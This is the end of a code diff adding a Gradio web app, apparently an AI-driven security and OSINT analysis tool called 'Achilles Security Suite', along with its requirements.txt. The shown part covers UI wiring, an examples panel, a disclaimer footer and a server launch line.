+ osint_btn.click(analyze_osint, [osint_type, osint_input, osint_tok], osint_out)
587
+ with gr.Accordion("Examples", open=False):
588
+ gr.Examples(OSINT_EXAMPLES, [osint_type, osint_input], label="Click to load")
589
+
590
+ gr.HTML("""
591
+ <p style="text-align:center; color:#475569; font-size:0.78em; padding:12px;">
592
+ Achilles Security Suite &mdash; AI-generated analysis. Always verify findings with manual review and authorized testing.
593
+ </p>
594
+ """)
595
+
596
+
597
+ if __name__ == "__main__":
598
+ demo.launch(server_name="0.0.0.0", server_port=7860)
requirements.txt ADDED
@@ -0,0 +1,6 @@
 
 
 
 
 
 
 
1
+ gradio>=5.0.0
2
+ transformers>=4.45.0
3
+ torch>=2.1.0
4
+ peft>=0.13.0
5
+ accelerate>=1.0.0
6
+ huggingface_hub>=0.25.0